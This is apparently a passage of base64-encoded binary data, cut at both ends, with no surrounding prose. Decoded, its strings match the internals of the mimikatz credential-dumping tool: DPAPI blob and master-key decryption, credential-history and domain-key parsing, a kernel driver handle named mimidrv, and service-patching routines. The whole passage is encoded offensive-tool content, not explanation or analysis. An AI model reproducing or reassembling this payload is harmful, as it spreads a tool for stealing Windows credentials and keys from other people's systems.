cAXwBBAEwARwBfAEIASQBUAF8ATABFAE4ARwBUAEgAXwBQAFIATwBQAF8ASQBEAAAAQwBFAFIAVABfAEkAUwBTAFUARQBSAF8AUABVAEIAXwBLAEUAWQBfAEIASQBUAF8ATABFAE4ARwBUAEgAXwBQAFIATwBQAF8ASQBEAAAAAABDAEUAUgBUAF8ASQBTAFMAVQBFAFIAXwBDAEgAQQBJAE4AXwBTAEkARwBOAF8ASABBAFMASABfAEMATgBHAF8AQQBMAEcAXwBQAFIATwBQAF8ASQBEAAAAQwBFAFIAVABfAEkAUwBTAFUARQBSAF8AQwBIAEEASQBOAF8AUABVAEIAXwBLAEUAWQBfAEMATgBHAF8AQQBMAEcAXwBCAEkAVABfAEwARQBOAEcAVABIAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAEMARQBSAFQAXwBOAE8AXwBFAFgAUABJAFIARQBfAE4ATwBUAEkARgBJAEMAQQBUAEkATwBOAF8AUABSAE8AUABfAEkARAAAAEMARQBSAFQAXwBBAFUAVABIAF8AUgBPAE8AVABfAFMASABBADIANQA2AF8ASABBAFMASABfAFAAUgBPAFAAXwBJAEQAAAAAAEMARQBSAFQAXwBOAEMAUgBZAFAAVABfAEsARQBZAF8ASABBAE4ARABMAEUAXwBUAFIAQQBOAFMARgBFAFIAXwBQAFIATwBQAF8ASQBEAAAAQwBFAFIAVABfAEgAQwBSAFkAUABUAFAAUgBPAFYAXwBUAFIAQQBOAFMARgBFAFIAXwBQAFIATwBQAF8ASQBEAAAAAABDAEUAUgBUAF8AUwBNAEEAUgBUAF8AQwBBAFIARABfAFIARQBBAEQARQBSAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAEMARQBSAFQAXwBTAEUATgBEAF8AQQBTAF8AVABSAFUAUwBUAEUARABfAEkAUwBTAFUARQBSAF8AUABSAE8AUABfAEkARAAAAEMARQBSAFQAXwBLAEUAWQBfAFIARQBQAEEASQBSAF8AQQBUAFQARQBNAFAAVABFAEQAXwBQAFIATwBQAF8ASQBEAAAAAAAAAEMARQBSAFQAXwBEAEkAUwBBAEwATABPAFcARQBEAF8ARgBJAEwARQBUAEkATQBFAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAEMARQBSAFQAXwBSAE8ATwBUAF8AUABSAE8ARwBSAEEATQBfAEMASABBAEkATgBfAFAATwBMAEkAQwBJAEUAUwBfAFAAUgBPAFAAXwBJAEQAAAAAAAAAAABDAEUAUgBUAF8AUwBNAEEAUgBUAF8AQwBBAFIARABfAFIARQBBAEQARQBSAF8ATgBPAE4AXwBSAEUATQBPAFYAQQBCAEwARQBfAFAAUgBPAFAAXwBJAEQAAAAAAEMARQBSAFQAXwBTAEgAQQAyADUANgBfAEgAQQBTAEgAXwBQAFIATwBQAF8ASQBEAAAAAABDAEUAUgBUAF8AUwBDAEUAUABfAFMARQBSAFYARQBSAF8AQwBFAFIAVABTAF8AUABSAE8AUABfAEkARAAAAAAAQwBFAFIAVABfAFMAQwBFAFAAXwBSAEEAXwBTAEkARwBOAEEAVABVAFIARQBfAEMARQBSAFQAXwBQAFIATwBQAF8ASQBEAAAAQwBFAFIAVABfAFMAQwBFAFAAXwBSAEEAXwBFAE4AQwBSAFkAUABUAEkATwBOAF8AQwBFAFIAVABfAFAAUgBPAFAAXwBJAEQAAAAAAEMARQBSAFQAXwBTAEMARQBQAF8AQwBBAF8AQwBFAFIAVABfAFAAUgBPAFAAXwBJAEQAAABDAEUAUgBUAF8AUwBDAEUAUABfAFMASQBHAE4ARQBSAF8AQwBFAFIAVABfAFAAUgBPAFAAXwBJAEQAAABDAEUAUgBUAF8AUwBDAEUAUABfAE4ATwBOAEMARQBfAFAAUgBPAFAAXwBJAEQAAAAAAAAAQwBFAFIAVABfAFMAQwBFAFAAXwBFAE4AQwBSAFkAUABUAF8ASABBAFMASABfAEMATgBHAF8AQQBMAEcAXwBQAFIATwBQAF8ASQBEAAAAAABDAEUAUgBUAF8AUwBDAEUAUABfAEYATABBAEcAUwBfAFAAUgBPAFAAXwBJAEQAAABQAFIATwBWAF8AYwBuAGcAAAAAAEEAVABfAEsARQBZAEUAWABDAEgAQQBOAEcARQAAAAAAQQBUAF8AUwBJAEcATgBBAFQAVQBSAEUAAAAAAEMATgBHACAASwBlAHkAAABDAEUAUgBUAF8AdQBuAGsAXwBmAHUAdAB1AHIAZQBfAHUAcwBlAAAAQwBFAFIAVABfAHUAbgBrAF8ANgAzAF8AbQBhAHkAYgBlAF8AZgB1AHQAdQByAGUAXwB1AHMAZQAAAAAAQwBFAFIAVABfAHIAZQBzAGUAcgB2AGUAZABfAHAAcgBvAHAAXwBpAGQAAABDAEUAUgBUAF8AdQBzAGUAcgBfAHAAcgBvAHAAXwBpAGQAAAAlACoAcwAqACoAQgBMAE8AQgAqACoACgAAAAAAJQAqAHMAIAAgAGQAdwBWAGUAcgBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABnAHUAaQBkAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACAAIABkAHcATQBhAHMAdABlAHIASwBlAHkAVgBlAHIAcwBpAG8AbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAZwB1AGkAZABNAGEAcwB0AGUAcgBLAGUAeQAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlACoAcwAgACAAZAB3AEYAbABhAGcAcwAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAoAAAAKQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBEAGUAcwBjAHIAaQBwAHQAaQBvAG4ATABlAG4AIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABzAHoARABlAHMAYwByAGkAcAB0AGkAbwBuACAAIAAgACAAIAAgADoAIAAlAHMACgAAACUAKgBzACAAIABhAGwAZwBDAHIAeQBwAHQAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAAAAAAAAlACoAcwAgACAAZAB3AEEAbABnAEMAcgB5AHAAdABMAGUAbgAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcAUwBhAGwAdABMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAcABiAFMAYQBsAHQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlACoAcwAgACAAZAB3AEgAbQBhAGMASwBlAHkATABlAG4AIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAHAAYgBIAG0AYQBjAGsASwBlAHkAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQAqAHMAIAAgAGEAbABnAEgAYQBzAGgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1ACAAKAAlAHMAKQAKAAAAAAAAACUAKgBzACAAIABkAHcAQQBsAGcASABhAHMAaABMAGUAbgAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBIAG0AYQBjADIASwBlAHkATABlAG4AIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABwAGIASABtAGEAYwBrADIASwBlAHkAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACAAIABkAHcARABhAHQAYQBMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAcABiAEQAYQB0AGEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlACoAcwAgACAAZAB3AFMAaQBnAG4ATABlAG4AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAHAAYgBTAGkAZwBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAKAAoAAAAAACUAKgBzACoAKgBNAEEAUwBUAEUAUgBLAEUAWQAqACoACgAAACUAKgBzACAAIABkAHcAVgBlAHIAcwBpAG8AbgAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABzAGEAbAB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQAqAHMAIAAgAHIAbwB1AG4AZABzACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAGEAbABnAEgAYQBzAGgAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAoACUAcwApAAoAAAAlACoAcwAgACAAYQBsAGcAQwByAHkAcAB0ACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAACUAKgBzACAAIABwAGIASwBlAHkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlACoAcwAqACoAQwBSAEUARABIAEkAUwBUACAASQBOAEYATwAqACoACgAAACUAKgBzACAAIABnAHUAaQBkACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlACoAcwAqACoARABPAE0AQQBJAE4ASwBFAFkAKgAqAAoAAAAlACoAcwAgACAAZAB3AFMAZQBjAHIAZQB0AEwAZQBuACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAZAB3AEEAYwBjAGUAcwBzAGMAaABlAGMAawBMAGUAbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAZwB1AGkAZABNAGEAcwB0AGUAcgBLAGUAeQAgACAAIAAgADoAIAAAAAAAJQAqAHMAIAAgAHAAYgBTAGUAYwByAGUAdAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACUAKgBzACAAIABwAGIAQQBjAGMAZQBzAHMAYwBoAGUAYwBrACAAIAAgACAAOgAgAAAAAAAlACoAcwAqACoATQBBAFMAVABFAFIASwBFAFkAUwAqACoACgAAAAAAAAAAACUAKgBzACAAIABzAHoARwB1AGkAZAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAB7ACUALgAzADYAcwB9AAoAAAAAACUAKgBzACAAIABkAHcARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBNAGEAcwB0AGUAcgBLAGUAeQBMAGUAbgAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEIAYQBjAGsAdQBwAEsAZQB5AEwAZQBuACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcAQwByAGUAZABIAGkAcwB0AEwAZQBuACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBEAG8AbQBhAGkAbgBLAGUAeQBMAGUAbgAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzAFsAbQBhAHMAdABlAHIAawBlAHkAXQAKAAAAJQAqAHMAWwBiAGEAYwBrAHUAcABrAGUAeQBdAAoAAAAlACoAcwBbAGMAcgBlAGQAaABpAHMAdABdAAoAAAAAACUAKgBzAFsAZABvAG0AYQBpAG4AawBlAHkAXQAKAAAAJQAqAHMAKgAqAEMAUgBFAEQASABJAFMAVAAqACoACgAAAAAAJQAqAHMAIAAgAGQAdwBWAGUAcgBzAGkAbwBuACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAZwB1AGkAZAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAZAB3AE4AZQB4AHQATABlAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACoAKgBDAFIARQBEAEgASQBTAFQAIABFAE4AVABSAFkAKgAqAAoAAAAAACUAKgBzACAAIABkAHcAVAB5AHAAZQAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABhAGwAZwBIAGEAcwBoACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAAAAAJQAqAHMAIAAgAHIAbwB1AG4AZABzACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAcwBpAGQATABlAG4AIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAlACoAcwAgACAAYQBsAGcAQwByAHkAcAB0ACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAoACUAcwApAAoAAAAAACUAKgBzACAAIABzAGgAYQAxAEwAZQBuACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAG0AZAA0AEwAZQBuACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAUwBhAGwAdAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAUwBpAGQAIAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAcABTAGUAYwByAGUAdAAgACAAIAA6ACAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYgBsAG8AYgAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYgBsAG8AYgAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBsAG8AcwBlAF8AaABwAHIAbwB2AF8AZABlAGwAZQB0AGUAXwBjAG8AbgB0AGEAaQBuAGUAcgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGIAbABvAGIAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAawBlAHkAXwBzAGUAcwBzAGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AcwBoAGEARABlAHIAaQB2AGUAZABrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBsAG8AcwBlAF8AaABwAHIAbwB2AF8AZABlAGwAZQB0AGUAXwBjAG8AbgB0AGEAaQBuAGUAcgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAG0AYQBzAHQAZQByAGsAZQB5AF8AdwBpAHQAaABfAHMAaABhAEQAZQByAGkAdgBlAGQAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAawBlAHkAXwBzAGUAcwBzAGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AZABvAG0AYQBpAG4AawBlAHkAXwB3AGkAdABoAF8AawBlAHkAIAA7ACAAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAgADsAIABDAHIAeQBwAHQAUwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AZABvAG0AYQBpAG4AawBlAHkAXwB3AGkAdABoAF8AawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAbABvAHMAZQBfAGgAcAByAG8AdgBfAGQAZQBsAGUAdABlAF8AYwBvAG4AdABhAGkAbgBlAHIAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGMAcgBlAGQAaABpAHMAdABfAGUAbgB0AHIAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAGwAbwBzAGUAXwBoAHAAcgBvAHYAXwBkAGUAbABlAHQAZQBfAGMAbwBuAHQAYQBpAG4AZQByACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGMAcgBlAGQAaABpAHMAdABfAGUAbgB0AHIAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAGsAZQB5AF8AcwBlAHMAcwBpAG8AbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAbwBuAF8AdQBuAHAAcgBvAHQAZQBjAHQAAAAAAG8AbgBfAHAAcgBvAHQAZQBjAHQAAAAAAHIAZQBzAGUAcgB2AGUAZAAAAAAAcwB0AHIAbwBuAGcAAAAAAHIAZQBxAHUAaQByAGUAXwBzAHQAcgBvAG4AZwAAAAAAJQBzACAAOwAgAAAAdQBpAF8AZgBvAHIAYgBpAGQAZABlAG4AAAAAAHUAbgBrAG4AbwB3AG4AAABjAHIAZQBkAF8AcwB5AG4AYwAAAGEAdQBkAGkAdAAAAG4AbwBfAHIAZQBjAG8AdgBlAHIAeQAAAHYAZQByAGkAZgB5AF8AcAByAG8AdABlAGMAdABpAG8AbgAAAGMAcgBlAGQAXwByAGUAZwBlAG4AZQByAGEAdABlAAAAcwB5AHMAdABlAG0AAAAAAHAAcgBvAG0AcAB0AF8AbwBuAF8AdQBuAHAAcgBvAHQAZQBjAHQAAABwAHIAbwBtAHAAdABfAG8AbgBfAHAAcgBvAHQAZQBjAHQAAABwAHIAbwBtAHAAdABfAHMAdAByAG8AbgBnAAAACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgBCAGEAcwBlADYANAAgAG8AZgAgAGYAaQBsAGUAIAA6ACAAJQBzAAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAlAGMAAAAAAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKAAAAJQAqAHMARABpAHIAZQBjAHQAbwByAHkAIAAnACUAcwAnAAAAIAAoACUAcwApAAAAXAAAACoAAAAuAAAALgAuAAAAAAAlACoAcwAlADMAdQAgACUAYwB8ACcAJQBzACcACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAXwBoAGEAbgBkAGwAZQAgADsAIABEAGUAdgBpAGMAZQBJAG8AQwBvAG4AdAByAG8AbAAgACgAMAB4ACUAMAA4AHgAKQAgADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABcAFwALgBcAG0AaQBtAGkAZAByAHYAAAAlACoAcwAqACoASwBFAFkAIAAoAGMAYQBwAGkAKQAqACoACgAAAAAAAAAAACUAKgBzACAAIABkAHcAVQBuAGkAcQB1AGUATgBhAG0AZQBMAGUAbgAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBTAGkAUAB1AGIAbABpAGMASwBlAHkATABlAG4AIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AFMAaQBQAHIAaQB2AGEAdABlAEsAZQB5AEwAZQBuACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcARQB4AFAAdQBiAGwAaQBjAEsAZQB5AEwAZQBuACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBFAHgAUAByAGkAdgBhAHQAZQBLAGUAeQBMAGUAbgAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEgAYQBzAGgATABlAG4AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcAUwBpAEUAeABwAG8AcgB0AEYAbABhAGcATABlAG4AIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBFAHgARQB4AHAAbwByAHQARgBsAGEAZwBMAGUAbgAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABwAFUAbgBpAHEAdQBlAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQBTAAoAAAAlACoAcwAgACAAcABIAGEAcwBoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACUAKgBzACAAIABwAFMAaQBQAHUAYgBsAGkAYwBLAGUAeQAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAIAAgAHAAUwBpAFAAcgBpAHYAYQB0AGUASwBlAHkAIAAgACAAIAAgACAAOgAKAAAAAAAlACoAcwAgACAAcABTAGkARQB4AHAAbwByAHQARgBsAGEAZwAgACAAIAAgACAAIAA6AAoAAAAAACUAKgBzACAAIABwAEUAeABQAHUAYgBsAGkAYwBLAGUAeQAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAIAAgAHAARQB4AFAAcgBpAHYAYQB0AGUASwBlAHkAIAAgACAAIAAgACAAOgAKAAAAAAAlACoAcwAgACAAcABFAHgARQB4AHAAbwByAHQARgBsAGEAZwAgACAAIAAgACAAIAA6AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGsAZQB5AF8AYwBuAGcAXwBjAHIAZQBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAGsAZQB5AF8AYwBuAGcAXwBwAHIAbwBwAGUAcgB0AGkAZQBzAF8AYwByAGUAYQB0AGUAIAAoAHAAdQBiAGwAaQBjACkACgAAAAAAJQAqAHMAKgAqAEsARQBZACAAKABjAG4AZwApACoAKgAKAAAAJQAqAHMAIAAgAGQAdwBWAGUAcgBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAdQBuAGsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcATgBhAG0AZQBMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAZAB3AFAAdQBiAGwAaQBjAFAAcgBvAHAAZQByAHQAaQBlAHMATABlAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcAUAByAGkAdgBhAHQAZQBQAHIAbwBwAGUAcgB0AGkAZQBzAEwAZQBuADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAGQAdwBQAHIAaQB2AGEAdABlAEsAZQB5AEwAZQBuACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAdQBuAGsAQQByAHIAYQB5AFsAMQA2AF0AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAcABOAGEAbQBlACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAlAC4AKgBzAAoAAAAlACoAcwAgACAAcABQAHUAYgBsAGkAYwBQAHIAbwBwAGUAcgB0AGkAZQBzACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAcABQAHIAaQB2AGEAdABlAFAAcgBvAHAAZQByAHQAaQBlAHMAIAAgACAAIAA6AAoAAAAlACoAcwAgACAAcABQAHIAaQB2AGEAdABlAEsAZQB5ACAAIAAgACAAIAAgACAAIAAgACAAIAA6AAoAAAAlACoAcwAqACoASwBFAFkAIABDAE4ARwAgAFAAUgBPAFAARQBSAFQAWQAqACoACgAAAAAAAAAAACUAKgBzACAAIABkAHcAUwB0AHIAdQBjAHQATABlAG4AIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIAB0AHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIAB1AG4AawAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABkAHcATgBhAG0AZQBMAGUAbgAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABkAHcAUAByAG8AcABlAHIAdAB5AEwAZQBuACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHAATgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAJQAqAHMAIAAgAHAAUAByAG8AcABlAHIAdAB5ACAAIAAgACAAIAAgACAAOgAgAAAAJQB1ACAAZgBpAGUAbABkACgAcwApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AbgBlAHQAXwBnAGUAdABEAEMAIAA7ACAARABzAEcAZQB0AEQAYwBOAGEAbQBlADoAIAAlAHUACgAAAGEAAAAiACUAcwAiACAAcwBlAHIAdgBpAGMAZQAgAHAAYQB0AGMAaABlAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABTAGUAcgB2AGkAYwBlAC